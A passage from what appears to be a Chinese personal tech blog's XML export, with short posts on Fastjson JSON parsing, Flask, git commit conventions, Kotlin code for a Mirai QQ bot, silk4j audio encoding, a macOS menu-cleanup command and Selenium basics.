"{\"errors\":[{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"254\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false},{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"255\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false}]}";</span><br><span class="line"> JSONObject jsonObject = JSON.parseObject(str);</span><br><span class="line"> JSONArray error = jsonObject.getJSONArray("errors");</span><br><span class="line"> List<Error> errors = JSON.parseObject(error.toJSONString(), new TypeReference<List<Error>>() {</span><br><span class="line"> });</span><br><span class="line"> for (Error e: errors) {</span><br><span class="line"> //Error的属性</span><br><span class="line"> System.out.println("Error属性="+e.getSuccess());</span><br><span class="line"> System.out.println("Error属性="+e.getCode());</span><br><span class="line"> System.out.println("Error属性="+e.getMessage());</span><br><span class="line"> //Error集合属性</span><br><span class="line"> List<Data> datas = e.getData();</span><br><span class="line"> for (Data d: datas) {</span><br><span class="line"> System.out.println("data对象属性="+d.getId());</span><br><span class="line"> System.out.println("data对象属性="+d.getAction());</span><br><span class="line"> System.out.println("data对象属性="+d.getSuborderNo());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> //Error属性=false</span><br><span class="line"> //Error属性=UUM70004</span><br><span class="line"> //Error属性=组织单元名称不能为空</span><br><span class="line"> //data对象属性=254</span><br><span class="line"> //data对象属性=add</span><br><span class="line"> //data对象属性=SUB_2018062797348039</span><br><span class="line"></span><br><span class="line"> //Error属性=false</span><br><span class="line"> //Error属性=UUM70004</span><br><span class="line"> //Error属性=组织单元名称不能为空</span><br><span class="line"> //data对象属性=255</span><br><span class="line"> //data对象属性=add</span><br><span class="line"> //data对象属性=SUB_2018062797348039</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<h3 id="JSON字符串-第二种方法–-数组类型与JAVA对象的转换"><a href="#JSON字符串-第二种方法–-数组类型与JAVA对象的转换" class="headerlink" title="JSON字符串 第二种方法–>数组类型与JAVA对象的转换"></a>JSON字符串 第二种方法–>数组类型与JAVA对象的转换</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">//第二种方法:json字符串--数组型与JSONArray对象之间的转换</span><br><span class="line"> @Test</span><br><span class="line"> public void jsonStrToJSONArray2() {</span><br><span class="line"> String str = "{\"errors\":[{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"254\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false},{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"255\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false}]}";</span><br><span class="line"> //获取jsonobject对象</span><br><span class="line"> JSONObject jsonObject = JSON.parseObject(str);</span><br><span class="line"> //把对象转换成jsonArray数组</span><br><span class="line"> JSONArray error = jsonObject.getJSONArray("errors");</span><br><span class="line"> //error==>[{"code":"UUM70004","message":"组织单元名称不能为空","data":{"id":"254","suborderNo":"SUB_2018062797348039","organUnitType":"部门","action":"add","parent":"10000","ordinal":0,"organUnitFullName":"组织单元全称"},"success":false},{"code":"UUM70004","message":"组织单元名称不能为空","data":{"id":"255","suborderNo":"SUB_2018062797348039","organUnitType":"部门","action":"add","parent":"10000","ordinal":0,"organUnitFullName":"组织单元全称"},"success":false}]</span><br><span class="line"> //将数组转换成字符串</span><br><span class="line"> String jsonString = JSONObject.toJSONString(error);//将array数组转换成字符串</span><br><span class="line"> //将字符串转成list集合</span><br><span class="line"> List<Error> errors = JSONObject.parseArray(jsonString, Error.class);//把字符串转换成集合</span><br><span class="line"> for (Error e: errors) {</span><br><span class="line"> //Error的属性</span><br><span class="line"> System.out.println("另一种数组转换Error属性="+e.getSuccess());</span><br><span class="line"> System.out.println("另一种数组转换Error属性="+e.getCode());</span><br><span class="line"> System.out.println("另一种数组转换Error属性="+e.getMessage());</span><br><span class="line"> //Error集合属性</span><br><span class="line"> List<Data> datas = e.getData();</span><br><span class="line"> for (Data d: datas) {</span><br><span class="line"> System.out.println("另一种数组转换data对象属性="+d.getId());</span><br><span class="line"> System.out.println("另一种数组转换data对象属性="+d.getAction());</span><br><span class="line"> System.out.println("另一种数组转换data对象属性="+d.getSuborderNo());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> //另一种数组转换Error属性=false</span><br><span class="line"> //另一种数组转换Error属性=UUM70004</span><br><span class="line"> //另一种数组转换Error属性=组织单元名称不能为空</span><br><span class="line"> //另一种数组转换data对象属性=254</span><br><span class="line"> //另一种数组转换data对象属性=add</span><br><span class="line"> //另一种数组转换data对象属性=SUB_2018062797348039</span><br><span class="line"></span><br><span class="line"> //另一种数组转换Error属性=false</span><br><span class="line"> //另一种数组转换Error属性=UUM70004</span><br><span class="line"> //另一种数组转换Error属性=组织单元名称不能为空</span><br><span class="line"> //另一种数组转换data对象属性=255</span><br><span class="line"> //另一种数组转换data对象属性=add</span><br><span class="line"> //另一种数组转换data对象属性=SUB_2018062797348039</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<h3 id="JAVA对象转JSON对象"><a href="#JAVA对象转JSON对象" class="headerlink" title="JAVA对象转JSON对象"></a>JAVA对象转JSON对象</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">//javabean转json对象</span><br><span class="line"> public static void jsonBenToJsonObject() {</span><br><span class="line"> Data data = new Data();</span><br><span class="line"> data.setAction("add");</span><br><span class="line"> data.setId("1");</span><br><span class="line"> data.setOrdinal(8L);</span><br><span class="line"> data.setOrganUnitFullName("testJSON");</span><br><span class="line"> data.setParent("0");</span><br><span class="line"> data.setSuborderNo("58961");</span><br><span class="line"> JSONObject jsonObj = (JSONObject) JSON.toJSON(data);</span><br><span class="line"> JSON json = (JSON) JSON.toJSON(data);</span><br><span class="line"> System.out.println("jsonObj"+jsonObj);</span><br><span class="line"> System.out.println("json对象"+json);</span><br><span class="line"> //jsonObj{"parent":"0","organUnitFullName":"testJSON","action":"add","id":"1","suborderNo":"58961","ordinal":8}</span><br><span class="line"> //json对象{"parent":"0","organUnitFullName":"testJSON","action":"add","id":"1","suborderNo":"58961","ordinal":8}</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category>后端</category>
</categories>
<tags>
<tag>Fastjson</tag>
<tag>Kotlin</tag>
</tags>
</entry>
<entry>
<title>Flask的食用方法</title>
<url>/2021/11/04/flask%E7%9A%84%E9%A3%9F%E7%94%A8%E6%96%B9%E6%B3%95/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252214256.png"></p>
<h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>一直觉得python写后端是件很方便的事,所以我打算整一个Flask的学习</p>
<h2 id="0x01PyCharm导入环境"><a href="#0x01PyCharm导入环境" class="headerlink" title="0x01PyCharm导入环境"></a>0x01PyCharm导入环境</h2><p>File-Settings-Project Interpreter,如下图所示:</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252215727.png"></p>
<p>添加Flask server:</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252215040.png"></p>
<h2 id="0x02Hello-Flask"><a href="#0x02Hello-Flask" class="headerlink" title="0x02Hello,Flask!"></a>0x02Hello,Flask!</h2><p>新建一个app.py,什么名字都行,记住不要Flask,会冲突</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">from flask import Flask</span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line">@app.route('/')</span><br><span class="line">def hello_world():</span><br><span class="line"> return 'Hello,Flask!'</span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> app.run()</span><br></pre></td></tr></table></figure>
<p>我们点击运行,即终端输出:</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252215056.png"></p>
<p>打开网址:</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252215977.png"></p>
]]></content>
<categories>
<category>后端</category>
</categories>
<tags>
<tag>Flask</tag>
<tag>PyCharm</tag>
</tags>
</entry>
<entry>
<title>git cz和合乎Angular规范的git commit message</title>
<url>/2022/02/13/git-cz%E5%92%8C%E5%90%88%E4%B9%8Eangular%E8%A7%84%E8%8C%83%E7%9A%84git-commit-message/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242334513.jpg"></p>
<h2 id="配置git-cz"><a href="#配置git-cz" class="headerlink" title="配置git cz"></a>配置git cz</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">npm install -g commitizen</span><br></pre></td></tr></table></figure>
<h2 id="使用git-cz"><a href="#使用git-cz" class="headerlink" title="使用git cz"></a>使用git cz</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">git cz</span><br><span class="line"></span><br><span class="line">[email protected], [email protected]</span><br><span class="line"></span><br><span class="line">#指定commit的类型,约定了feat、fix两个主要type,以及docs、style、build、refactor、revert五个特殊type</span><br><span class="line">? **Select the type of change that you're committing:** fix: A bug fix</span><br><span class="line"></span><br><span class="line">#用于描述改动的范围,格式为项目名/模块名</span><br><span class="line">? **What is the scope of this change (e.g. component or file name): (press enter t**</span><br><span class="line">**o skip)** index.html</span><br><span class="line"></span><br><span class="line">#对改动进行简短的描述</span><br><span class="line">? **Write a short, imperative tense description of the change (max 83 chars):**</span><br><span class="line"> (11) add a blank</span><br><span class="line"></span><br><span class="line">#对改动进行长的描述</span><br><span class="line">? **Provide a longer description of the change: (press enter to skip)**</span><br><span class="line"></span><br><span class="line">#是破坏性的改动吗</span><br><span class="line">? **Are there any breaking changes?** No</span><br><span class="line"></span><br><span class="line">#影响了哪个issue吗,如果选是,接下来要输入issue号</span><br><span class="line">? **Does this change affect any open issues?** No</span><br></pre></td></tr></table></figure>
<h2 id="Angular规范"><a href="#Angular规范" class="headerlink" title="Angular规范"></a>Angular规范</h2><h3 id="Header"><a href="#Header" class="headerlink" title="Header"></a>Header</h3><h4 id="(1)type"><a href="#(1)type" class="headerlink" title="(1)type"></a><strong>(1)type</strong></h4><p><code>type</code> 用于说明 commit 的类别,只允许使用下面 7 个标识。</p>
<ul>
<li>feat:新功能(feature)</li>
<li>fix:修补 bug</li>
<li>docs:文档(documentation)</li>
<li>style: 格式(不影响代码运行的变动)</li>
<li>refactor:重构(即不是新增功能,也不是修改 bug 的代码变动)</li>
<li>test:增加测试</li>
<li>chore:构建过程或辅助工具的变动</li>
</ul>
<p>如果 <code>type</code> 为 <code>feat</code> 和 <code>fix</code>,则该 commit 将肯定出现在 Change log 之中。其他情况(<code>docs</code>、<code>chore</code>、<code>style</code>、<code>refactor</code>、<code>test</code>)由你决定,要不要放入 Change log,建议是不要。</p>
<h4 id="(2)scope"><a href="#(2)scope" class="headerlink" title="(2)scope"></a><strong>(2)scope</strong></h4><p><code>scope</code> 用于说明 commit 影响的范围,比如数据层、控制层、视图层等等,视项目不同而不同。</p>
<h4 id="(3)subject"><a href="#(3)subject" class="headerlink" title="(3)subject"></a><strong>(3)subject</strong></h4><p><code>subject</code> 是 commit 目的的简短描述,不超过 50 个字符。</p>
<ul>
<li>以动词开头,使用第一人称现在时,比如 <code>change</code>,而不是 <code>changed</code> 或 <code>changes</code></li>
<li>第一个字母小写</li>
<li>结尾不加句号(<code>.</code>)</li>
</ul>
<h3 id="Body"><a href="#Body" class="headerlink" title="Body"></a>Body</h3><p>有两个注意点。</p>
<p>(1)使用第一人称现在时,比如使用 <code>change</code> 而不是 <code>changed</code> 或 <code>changes</code>。</p>
<p>(2)应该说明代码变动的动机,以及与以前行为的对比。</p>
<h3 id="Footer"><a href="#Footer" class="headerlink" title="Footer"></a>Footer</h3><p>Footer 部分只用于两种情况。</p>
<h4 id="(1)不兼容变动"><a href="#(1)不兼容变动" class="headerlink" title="(1)不兼容变动"></a><strong>(1)不兼容变动</strong></h4><p>如果当前代码与上一个版本不兼容,则 Footer 部分以 <code>BREAKING CHANGE</code> 开头,后面是对变动的描述、以及变动理由和迁移方法。</p>
<h4 id="(2)关闭-Issue"><a href="#(2)关闭-Issue" class="headerlink" title="(2)关闭 Issue"></a><strong>(2)关闭 Issue</strong></h4><p>如果当前 commit 针对某个 issue,那么可以在 Footer 部分关闭这个 issue 。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Closes #234</span><br></pre></td></tr></table></figure>
<p>也可以一次关闭多个 issue 。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Closes #123, #245, #992</span><br></pre></td></tr></table></figure>
<h3 id="Revert"><a href="#Revert" class="headerlink" title="Revert"></a>Revert</h3><p>还有一种特殊情况,如果当前 commit 用于撤销以前的 commit,则必须以 <code>revert:</code> 开头,后面跟着被撤销 Commit 的 Header。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">revert: feat(pencil): add 'graphiteWidth' option</span><br><span class="line"></span><br><span class="line">This reverts commit 667ecc1654a317a13331b17617d973392f415f02.</span><br></pre></td></tr></table></figure>
<p>Body 部分的格式是固定的,必须写成 <code>This reverts commit <hash>.</code>,其中的 <code>hash</code> 是被撤销 commit 的 SHA 标识符。</p>
<p>如果当前 commit 与被撤销的 commit,在同一个发布(release)里面,那么它们都不会出现在 Change log 里面。如果两者在不同的发布,那么当前 commit,会出现在 Change log 的 <code>Reverts</code> 小标题下面。</p>
]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>Angular</tag>
<tag>git</tag>
</tags>
</entry>
<entry>
<title>Github代理</title>
<url>/2022/10/08/github%E4%BB%A3%E7%90%86/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252133062.jpg"></p>
<p>clash别忘了开LAN</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">git config --global http.proxy protocol://127.0.0.1:7890</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>git</tag>
<tag>github</tag>
</tags>
</entry>
<entry>
<title>linux下的crazydiskinfo</title>
<url>/2024/10/27/linux%E4%B8%8B%E7%9A%84crazydiskinfo/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410271701465.jpg"></p>
<p>CrazyDiskInfo是一款用于Unix类系统的交互式TUI S.M.A.R.T查看器,可以查看硬盘健康情况,是否有坏扇区等。</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410271705139.png"></p>
<p>然而国内的教程太垃圾了,多少年前的还在互相抄,抄来抄去的还只有自己编译这条路。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">https://github.com/otakuto/crazydiskinfo</span><br></pre></td></tr></table></figure>
<p>本文并不反对你去源码编译,只作为存档记录一下获取安装包的方法。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">https://ftp.debian.org/debian/pool/main/c/crazydiskinfo/</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410271705493.png"></p>
]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>服务器</tag>
<tag>Linux</tag>
<tag>运维</tag>
</tags>
</entry>
<entry>
<title>Nekobot开发心得</title>
<url>/2021/07/05/nekobot%E5%BC%80%E5%8F%91%E5%BF%83%E5%BE%97/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252202247.png"></p>
<h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>开一个帖,记录一下Nekobot的开发心得吧(主要是自己认为比较重要的某些功能的代码实现方法,写给自己,以免忘记)</p>
<p>不过,如果笔记里的这些内容对你有所帮助,那就更好了2333.</p>
<h2 id="0x01通过Get方式请求来获取网页源码"><a href="#0x01通过Get方式请求来获取网页源码" class="headerlink" title="0x01通过Get方式请求来获取网页源码"></a>0x01通过Get方式请求来获取网页源码</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">fun httpget(url: String): String? {</span><br><span class="line"> val client = OkHttpClient()</span><br><span class="line"> val request = Request.Builder().get()</span><br><span class="line"> .url(url)</span><br><span class="line"> .build()</span><br><span class="line"> val call = client.newCall(request)</span><br><span class="line"> val response = call.execute()</span><br><span class="line"> val HTML = response.body?.string()</span><br><span class="line"> return HTML</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>肯定要有的,不然网页api以及爬虫都做不了了</p>
<h2 id="0x02读取本地文件夹的文件名"><a href="#0x02读取本地文件夹的文件名" class="headerlink" title="0x02读取本地文件夹的文件名"></a>0x02读取本地文件夹的文件名</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">fun getImgList(path: String): MutableList<String> {</span><br><span class="line"> val files: MutableList<String> = mutableListOf()</span><br><span class="line"> val fileTree: FileTreeWalk = File(path).walk()</span><br><span class="line"> fileTree.maxDepth(1)</span><br><span class="line"> .filter { it.isFile }</span><br><span class="line"> .forEach { files.add(it.name) }</span><br><span class="line"> return files</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>示例是读取本地文件夹的图片,通过类似的思路做了个黑名单读取</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">fun getList(path: String): MutableList<Long> {</span><br><span class="line"> val files: MutableList<Long> = mutableListOf()</span><br><span class="line"> val fileTree: FileTreeWalk = File(path).walk()</span><br><span class="line"> fileTree.maxDepth(1)</span><br><span class="line"> .filter { it.isFile }</span><br><span class="line"> .forEach { files.add(it.name.toLong()) }</span><br><span class="line"> return files</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>读取时转换为id(类型为Long),一般来说这个添加方式比修改服务器上的黑名单列表文件内容方便多了,我只要新建个文件,文件名为屏蔽的id就是了;想要移除,删掉就是了。</p>
<p>为什么不在QQ上直接指示机器人屏蔽某个QQid?对不起,我对本人的编程水平极不自信,虽然源文件泄露导致发现漏洞然后攻击的可能性极微。但是给mirai以root权限对服务器的文件进行创建删除写入,我不太敢这样做。</p>
<p>顺便一提.filter是选择器而.forEach是循环,类似与if和for,不过咱只有在这块使用了这个kotlin推荐(?)使用的选择语句和循环语句,其他地方一般就是if和for,有的时候还是when(选择语句),语法相当混乱(捂脸)</p>
<h2 id="0x03获取网络资源并转换为流"><a href="#0x03获取网络资源并转换为流" class="headerlink" title="0x03获取网络资源并转换为流"></a>0x03获取网络资源并转换为流</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">//获取网络图片</span><br><span class="line">fun getNetImg(urlstr: String): InputStream? {</span><br><span class="line"> val url = URL(urlstr)</span><br><span class="line">// return try { 实有异常了再说</span><br><span class="line"> return url.openConnection().getInputStream()</span><br><span class="line">// }catch(err:java.io.IOException){</span><br><span class="line">// null</span><br><span class="line">// }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>学会这个的契机是想发送网络上的图片来着的</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252203015.png"></p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252203912.png"></p>
<p><a href="https://mirai.mamoe.net/topic/337/%E8%AF%B7%E9%97%AE%E5%A4%A7%E4%BD%AC%E4%BB%AC%E6%9C%89%E4%BB%80%E4%B9%88%E5%8F%91%E9%80%81%E7%BD%91%E7%BB%9C%E5%9B%BE%E7%89%87%E7%9A%84%E6%80%9D%E8%B7%AF%E5%90%97">https://mirai.mamoe.net/topic/337/%E8%AF%B7%E9%97%AE%E5%A4%A7%E4%BD%AC%E4%BB%AC%E6%9C%89%E4%BB%80%E4%B9%88%E5%8F%91%E9%80%81%E7%BD%91%E7%BB%9C%E5%9B%BE%E7%89%87%E7%9A%84%E6%80%9D%E8%B7%AF%E5%90%97</a></p>
<p>就是这个思路,另外提一下mirai的具体食用方法吧</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">getNetImg(imgurl).use {</span><br><span class="line"> if (it != null) {</span><br><span class="line">//方法一,最原始的发送图片的方法,就是先uploadImage 然后sendMessage</span><br><span class="line"> val img = it.toExternalResource()</span><br><span class="line"> group.sendMessage(group.uploadImage(img))</span><br><span class="line">//方法二,sendImage相当于先进行uploadImage然后再sendMessage</span><br><span class="line"> group.sendImage(img)</span><br><span class="line"> } else {</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<h2 id="0x05发送语音"><a href="#0x05发送语音" class="headerlink" title="0x05发送语音"></a>0x05发送语音</h2><p>其实也没啥,不过注意,<strong>只支持 <code>amr</code> 和 <code>silk</code> 格式</strong></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">group.sendMessage(File("${voiceDir}Av845256252.silk").toExternalResource().uploadAsVoice(group))</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>Kotlin</tag>
<tag>Java</tag>
<tag>Mirai</tag>
</tags>
</entry>
<entry>
<title>macOS清理右键菜单中的打开方式</title>
<url>/2025/02/10/macOS%E5%88%A0%E9%99%A4%E5%8F%B3%E9%94%AE%E8%8F%9C%E5%8D%95%E4%B8%AD%E7%9A%84%E5%A4%9A%E4%BD%99%E6%88%96%E6%98%AF%E6%97%A0%E6%95%88%E7%9A%84%E6%89%93%E5%BC%80%E6%96%B9%E5%BC%8F/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202502101744051.jpg"></p>
<p>命令行执行:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -kill -r -domain local -domain system-domainuser</span><br></pre></td></tr></table></figure>
]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>macOS</tag>
</tags>
</entry>
<entry>
<title>Nekobot开发心得:Silk4j食用笔记</title>
<url>/2021/10/11/nekobot%E5%BC%80%E5%8F%91%E5%BF%83%E5%BE%97%EF%BC%9Asilk4j%E9%A3%9F%E7%94%A8%E7%AC%94%E8%AE%B0/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252204000.png"></p>
<h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>在进行mirai机器人Nekobot的开发过程中,在论坛中发现了大佬写的silk4j–JVM的语音编码组件,觉得用起来挺不错的,于是去对应的仓库进行了一个习的学,感觉收获挺大的</p>
<p>仓库链接奉上:<a href="https://github.com/mzdluo123/silk4j">https://github.com/mzdluo123/silk4j</a></p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252205994.png"></p>
<h2 id="0x01导入依赖"><a href="#0x01导入依赖" class="headerlink" title="0x01导入依赖"></a>0x01导入依赖</h2><p>我是kotlin编译的,需要在你的build.gradle.kts里面加上一些东西</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">// 要使用maven仓库导入,需要先为你的账号生成一个访问token才能正常拉取</span><br><span class="line">repositories {</span><br><span class="line"> maven { </span><br><span class="line"> url 'https://maven.pkg.github.com/mzdluo123/silk4j'</span><br><span class="line"> credentials {</span><br><span class="line"> username = '你的用户名'</span><br><span class="line"> password = '你的token'</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">dependencies {</span><br><span class="line"> implementation("io.github.mzdluo123:silk4j:版本号")</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>token的获取方式是在github的<a href="https://github.com/settings/profile">Settings</a> / <a href="https://github.com/settings/tokens">Developer settings</a> ,里面的话,会有一个Personal access tokens,点进去,自己取个标识,然后注意一下期限,我是选择永不过期,最后范围我是全勾上了。</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252205155.png"></p>
<p>好,最后会生成一个token,把它复制粘贴到相应位置(切勿泄露!!!)</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252205415.png"></p>
<h2 id="0x02食用"><a href="#0x02食用" class="headerlink" title="0x02食用"></a>0x02食用</h2><p>其实官方说明已经讲的很清楚了</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">// 请使用这个类完成编码</span><br><span class="line">// 所有的编码默认都只使用左声道</span><br><span class="line">public class AudioUtils {</span><br><span class="line">//使用之前需要初始化</span><br><span class="line">public static void init() throws IOException {</span><br><span class="line">}</span><br><span class="line">// 初始化时可选指定缓存目录,未指定则使用系统目录</span><br><span class="line">public static void init(File tmpDir) throws IOException {</span><br><span class="line">}</span><br><span class="line">// 以下为编码函数,只可以同时进行一个编码任务,如需pcm文件请看源代码</span><br><span class="line">// 返回的文件在缓存目录内,使用完毕请删除</span><br><span class="line">public static File mp3ToSilk(File mp3File) throws IOException {</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">public static File mp3ToSilk(InputStream mp3FileStream) throws IOException {</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">public static File silkToMp3(File silkFile) throws IOException {</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">public static File silkToMp3(InputStream silkFileStream) throws IOException {</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>其实本地很好处理。那就以我最近使用的文字转语音api为例,返回的一条mp3文件的下载链接。与之前返回图片类似,将网络的资源转化为InputStream流,再使用silk4j组件的方法</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">//获取网络图片</span><br><span class="line"> fun getNetImg(urlstr: String): InputStream? {</span><br><span class="line"> val url = URL(urlstr)</span><br><span class="line">// return try { 实有异常了再说</span><br><span class="line"> return url.openConnection().getInputStream()</span><br><span class="line">// }catch(err:java.io.IOException){</span><br><span class="line">// null</span><br><span class="line">// }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">getNetImg(mp3str).use {</span><br><span class="line"> if (it != null) {//暂时使用img方法获取流</span><br><span class="line"> AudioUtils.init()</span><br><span class="line"> val silk: File = AudioUtils.mp3ToSilk(it)</span><br><span class="line"> group.sendMessage(silk.toExternalResource().uploadAsVoice(group))</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>Kotlin</tag>
<tag>Java</tag>
<tag>Mirai</tag>
</tags>
</entry>
<entry>
<title>Selenium爬虫入门</title>
<url>/2021/11/19/selenium%E7%88%AC%E8%99%AB%E5%85%A5%E9%97%A8/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252135855.jpg"></p>
<h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>曾经我以为爬虫只要学会get和post就行了</p>
<p>直到遇上了某些不分离的js原生网页</p>
<p>最后,是Selenium拯救了我</p>
<h2 id="0x01环境搭建"><a href="#0x01环境搭建" class="headerlink" title="0x01环境搭建"></a>0x01环境搭建</h2><h3 id="安装selenium模块"><a href="#安装selenium模块" class="headerlink" title="安装selenium模块"></a><strong>安装selenium模块</strong></h3><p>这里是使用python里的selenium模块;java的话,也有selenium的jar包</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pip install -U selenium</span><br></pre></td></tr></table></figure>
<p>我用的是PyCharm,可以直接在里面的包管理工具添加这个包</p>
<h3 id="安装浏览器"><a href="#安装浏览器" class="headerlink" title="安装浏览器"></a>安装浏览器</h3><p>安装一款浏览器(谷歌,火狐,IE),selenium是基于浏览器运作的,想要selenium能驱动浏览器,必须要安装浏览器驱动,将驱动放到python的安装根目录下即可</p>
<p>此处以谷歌浏览器为例:谷歌驱动(chromedriver)下载地址:<a href="http://npm.taobao.org/mirrors/chromedriver">http://npm.taobao.org/mirrors/chromedriver</a></p>
<p><img src="http://101.35.52.235/wp-content/uploads/2021/11/%E5%9B%BE%E7%89%87-14.png"></p>
<h2 id="0x02使用"><a href="#0x02使用" class="headerlink" title="0x02使用"></a>0x02使用</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">from selenium import webdriver #引用selenium</span><br><span class="line">driver=webdriver.Chrome() #启动谷歌浏览器</span><br><span class="line">driver.get("http://www.baidu.com") #访问一个网页 </span><br><span class="line">driver.quit() #退出浏览器</span><br><span class="line">driver.get("http://www.baidu.com") #访问浏览器</span><br><span class="line">driver.back() #回到上一页</span><br><span class="line">driver.forward() #回到下一页</span><br><span class="line">driver.refresh() #刷新</span><br><span class="line">print(driver.title) #获取标题</span><br><span class="line">print(driver.current_url) #获取网址</span><br><span class="line">print(driver.current_window_handle) #获取到句柄</span><br><span class="line">print(driver.get_window_size()) #获取浏览器尺寸</span><br><span class="line">print(driver.get_screenshot_as_file('')) #获取截图</span><br><span class="line">driver.maximize_window() #窗口最大化</span><br><span 